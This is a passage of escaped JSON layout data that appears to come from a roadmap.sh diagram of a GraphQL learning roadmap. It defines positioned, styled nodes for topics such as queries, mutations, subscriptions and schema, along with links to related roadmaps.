\"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 124\n      },\n      \"dragging\": false,\n      \"width\": 253,\n      \"height\": 62,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 68.2572052308409,\n        \"y\": 645.5973159217342\n      }\n    },\n    {\n      \"id\": \"4qvR1QQzrmoVIVCAsp92H\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -215.3175069304428,\n        \"y\": 2156.2541881503926\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 87\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -215.3175069304428,\n        \"y\": 2156.2541881503926\n      }\n    },\n    {\n      \"id\": \"HU7wZWiES3m3xl1-NYP6F\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -283.3175069304428,\n        \"y\": -38.879087788307686\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GraphQL\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 68\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 156,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -283.3175069304428,\n        \"y\": -38.879087788307686\n      }\n    },\n    {\n      \"id\": \"uqyE79OItPOX33E5FoGel\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -215.3175069304428,\n        \"y\": -133.0992517776511\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 81\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -215.3175069304428,\n        \"y\": -133.0992517776511\n      }\n    },\n    {\n      \"id\": \"CCmziWV0VnzZxVbjVF_br\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -15.138187271993502,\n        \"y\": -148.2948532825934\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and more roadmaps at\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"kpF15oUmlUmk1qVGEBB7Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": -15.138187271993502,\n        \"y\": -148.2948532825934\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 361,\n        \"height\": 151\n      }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -0.13818727199350178,\n        \"y\": -62.09925177765109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -0.13818727199350178,\n        \"y\": -62.09925177765109\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JfXwzkN29UGz17FYHHE3A\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.8175069304428,\n        \"y\": 152.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4U-HZQGH7kaWCB94Xy8Mh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.8175069304428,\n        \"y\": 152.4393516042962\n      }\n    },\n    {\n      \"id\": \"cMfsRtvzvDZZJ0TqeUOxm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 46.439351604296206\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is GraphQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"W4gEPRYmk5Y7y3PjI6fR7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 46.439351604296206\n      }\n    },\n    {\n      \"id\": \"2rlmLn_yQQV-7DpX1qT98\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 99.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Problems GraphQL Solves\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VhSEH_RoWFt1z2lial7xZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 99.4393516042962\n      }\n    },\n    {\n      \"id\": \"w_rUaBorHFOY74S0JiEwM\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": -148.2948532825934\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"CVNNr97eZmGVFZyNVmR9b\",\n            \"label\": \"React Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/react\"\n          },\n          {\n            \"id\": \"GoM0EsaFMzWViwio3BucA\",\n            \"label\": \"JavaScript Roadmap\",\n            \"url\": \"https://roadmap.sh/javascript\"\n          },\n          {\n            \"id\": \"oWh5sZE3GhIEQKIuWYM0o\",\n            \"label\": \"Frontend Roadmap\",\n            \"url\": \"https://roadmap.sh/frontend\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 356,\n        \"height\": 171\n      },\n      \"dragging\": false,\n      \"width\": 260,\n      \"height\": 160,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": -148.2948532825934\n      }\n    },\n    {\n      \"id\": \"J5mU0v491qrm-mr1W3Msd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 152.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Thinking in Graphs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ODQ8zrHc2rsc8PN-APKvz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 152.4393516042962\n      }\n    },\n    {\n      \"id\": \"W_Lg8086ZhrIqtck1sgnb\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.8175069304428,\n        \"y\": 260.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GraphQL Queries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cSXsu17F1Oy34Wp6J-N3C\"\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.8175069304428,\n        \"y\": 260.43935160429623\n      }\n    },\n    {\n      \"width\": 410,\n      \"height\": 119,\n      \"id\": \"O5dely89N5UCMBeUfh8ud\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -334.6381872719935,\n        \"y\": 2034.2541881503926\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"For ecosystem and more, check these other tracks involving GraphQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -334.6381872719935,\n        \"y\": 2034.2541881503926\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 410,\n        \"height\": 119\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 597,\n        \"height\": 122\n      }\n    },\n    {\n      \"width\": 380,\n      \"height\": 49,\n      \"id\": \"6AIUtChWC_gK8Ax0UuBjd\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -320.62298223659093,\n        \"y\": 2088.899845583502\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Frontend Roadmap\",\n        \"href\": \"https://roadmap.sh/frontend\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"f5WRewBlpeYMf71cPcXs-\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -320.62298223659093,\n        \"y\": 2088.899845583502\n      },\n      \"style\": {\n        \"width\": 380,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 278,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6r9XbwlBtHmJrhviG2cTD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 205.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GraphQL on Frontend\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ODQ8zrHc2rsc8PN-APKvz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 205.4393516042962\n      }\n    },\n    {\n      \"id\": \"ODQ8zrHc2rsc8PN-APKvz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 258.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GraphQL on Backend\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VhSEH_RoWFt1z2lial7xZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 303,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 303\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 258.43935160429623\n      }\n    },\n    {\n      \"id\": \"2SU4dcaz7zwGsF7g8FjmI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.4579568300146,\n        \"y\": 101.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What are Queries?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CehwjrCG_wbUU-TFNCuJn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.4579568300146,\n        \"y\": 101.4393516042962\n      }\n    },\n    {\n      \"id\": \"Pc9H7AcoqJQkWnuhbytyD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.4579568300146,\n        \"y\": 154.4393516042962\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Fields\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YZaFEK547FYricfOuANvH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.4579568300146,\n        \"y\": 154.4393516042962\n      }\n    },\n    {\n      \"id\": \"B77yLU4SuRChSjEbmYwc-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.4579568300146,\n        \"y\": 260.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Aliases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CehwjrCG_wbUU-TFNCuJn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.4579568300146,\n        \"y\": 260.43935160429623\n      }\n    },\n    {\n      \"id\": \"hrpb108R8Gyu3hhzkMYzL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.4579568300146,\n        \"y\": 313.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Arguments\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CehwjrCG_wbUU-TFNCuJn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.4579568300146,\n        \"y\": 313.43935160429623\n      }\n    },\n    {\n      \"id\": \"MnmwccPahqPCzOhqjfbsY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.4579568300146,\n        \"y\": 366.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Directives\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CehwjrCG_wbUU-TFNCuJn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.4579568300146,\n        \"y\": 366.43935160429623\n      }\n    },\n    {\n      \"id\": \"YZaFEK547FYricfOuANvH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.4579568300146,\n        \"y\": 207.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Variables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CehwjrCG_wbUU-TFNCuJn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.4579568300146,\n        \"y\": 207.43935160429623\n      }\n    },\n    {\n      \"id\": \"CehwjrCG_wbUU-TFNCuJn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.4579568300146,\n        \"y\": 419.43935160429623\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Fragments\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -707.4579568300146,\n        \"y\": 419.43935160429623\n      }\n    },\n    {\n      \"id\": \"jy_91mhFWbpR6sYVbuX1x\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.8175069304428,\n        \"y\": 396.6629724396304\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Mutations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cSXsu17F1Oy34Wp6J-N3C\"\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.8175069304428,\n        \"y\": 396.6629724396304\n      }\n    },\n    {\n      \"id\": \"9Q2pGidY-rfkltHq3vChp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 343.6629724396304\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What are Mutations?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YzRFmq1mXrM5uF3FXZQmj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 343.6629724396304\n      }\n    },\n    {\n      \"id\": \"AySlY8AyI6jE-cy-qKKOU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 396.6629724396304\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Multiple Fields in Mutation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"q9TYEygvUyHourdZIvk8G\"\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 396.6629724396304\n      }\n    },\n    {\n      \"id\": \"q9TYEygvUyHourdZIvk8G\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 449.6629724396304\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Operation Name\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 249,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 249\n      },\n      \"measured\": {\n        \"width\": 303,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 449.6629724396304\n      }\n    },\n    {\n      \"id\": \"IbEqXlGjsyNLKE9dZrPPk\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.8175069304428,\n        \"y\": 604.2881469175232\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Subscriptions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cSXsu17F1Oy34Wp6J-N3C\"\n      },\n      \"zIndex\": 999,\n      \"width\": 148,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.8175069304428,\n        \"y\": 604.2881469175232\n      }\n    },\n    {\n      \"id\": \"RlBc-hWEUOPaEQLTgJa-K\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 547.2881469175232\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What are Subscriptions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sJ1_c3e08aehiqNMbIEEP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 53\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 547.2881469175232\n      }\n    },\n    {\n      \"id\": \"kJMyRhasBKfBypent3GxK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 604.2881469175232\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Event Based Subscriptions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sJ1_c3e08aehiqNMbIEEP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 604.2881469175232\n      }\n    },\n    {\n      \"id\": \"CHdzww8_TNfeM6Bp1oTPI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 657.2881469175232\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Live Queries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sJ1_c3e08aehiqNMbIEEP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 657.2881469175232\n      }\n    },\n    {\n      \"id\": \"t6XxFB_lx27kS4FE2_GMH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -710.4579568300146,\n        \"y\": 710.2881469175232\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"@defer / @stream directives\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"sJ1_c3e08aehiqNMbIEEP\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.4579568300146,\n        \"y\": 710.2881469175232\n      }\n    },\n    {\n      \"id\": \"lj1WEh4WbfBsoZFYsi1Yz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -329.8175069304428,\n        \"y\": 735.8550649758861\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Schema\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cSXsu17F1Oy34Wp6J-N3C\"\n      },\n      \"zIndex\": 999,\n      \"width\": 108,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 249,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -329.8175069304428,\n        \"y\": 735.8550649758861\n      }\n    },\n    {\n      \"id\": \"jpu0_FAlxtD-H80mPcod5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 68.2572052308409,\n        \"y\": 537.9979529933375\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": 